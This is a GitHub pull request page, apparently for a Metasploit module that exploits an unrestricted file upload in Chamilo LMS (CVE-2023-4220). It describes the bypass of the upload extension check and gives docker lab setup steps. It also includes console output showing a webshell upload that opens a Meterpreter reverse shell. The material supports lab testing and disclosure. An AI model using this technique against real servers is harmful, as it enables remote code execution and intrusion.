Chamilo v1.11.24 Unrestricted File Upload (CVE-2023-4220) #19629
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jheysel-r7
changed the title
jheysel-r7
changed the title
jheysel-r7
added
the
rn-modules
dledda-r7
approved these changes
Dec 4, 2024
There was a problem hiding this comment.
Looks good!
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/chamilo_bigupload_webshell) > set rport 8080
rport => 8080
msf6 exploit(linux/http/chamilo_bigupload_webshell) > exploit
[*] Started reverse TCP handler on 172.21.111.143:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The directory /main/inc/lib/javascript/bigupload/files/ exists on the target indicating the target is vulnerable.
[+] The target is vulnerable. File upload was successful (CVE-2024-4220 was exploited successfully).
[*] Sending stage (40004 bytes) to 172.18.0.3
[+] Deleted D73uPl0z
[+] Deleted DEyYYuoivfzUFvHx.php
[*] Meterpreter session 1 opened (172.21.111.143:4444 -> 172.18.0.3:48560) at 2024-12-04 07:50:01 -0500
meterpreter >
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 345de2434c3a
OS : Linux 345de2434c3a 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
Meterpreter : php/linux
meterpreter > ls
No entries exist in /var/www/chamilo/main/inc/lib/javascript/bigupload/files
meterpreter >
Release NotesThis adds an exploit module for Chamilo LMS, where versions prior to <= v1.11.24, a webshell can be uploaded via the bigload.php endpoint allowing remote code execution on the context of |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Chamilo LMS is a free software e-learning and content management system. In versions prior to <= v1.11.24 a webshell can be uploaded via the bigload.php endpoint. If the GET request parameter
actionis set topost-unsupportedfile extension checks are skipped allowing for attacker controlled .php files to be uploaded to:/main/inc/lib/javascript/bigupload/files/if the/files/directory already exists - it does not exist by default.Setup
A vulnerable docker-compose configuration can be found at the following link: vulhub/vulhub#559
git clone https://github.com/vulhub/vulhub.gitgit checkout CVE-2023-4220cd vulhub/chamilo/CVE-2023-4220docker compose uphttp://127.0.0.1:8080to complete the installation wizard.mariadb(notlocalhostor127.0.0.1).exploited with the module. This container has the non-default
/files/directory created already.Verification
List the steps needed to make sure this thing works
use linux/http/chamilo_bigupload_webshellRHOST,RPORT, andLHOSToptionswww-datauser.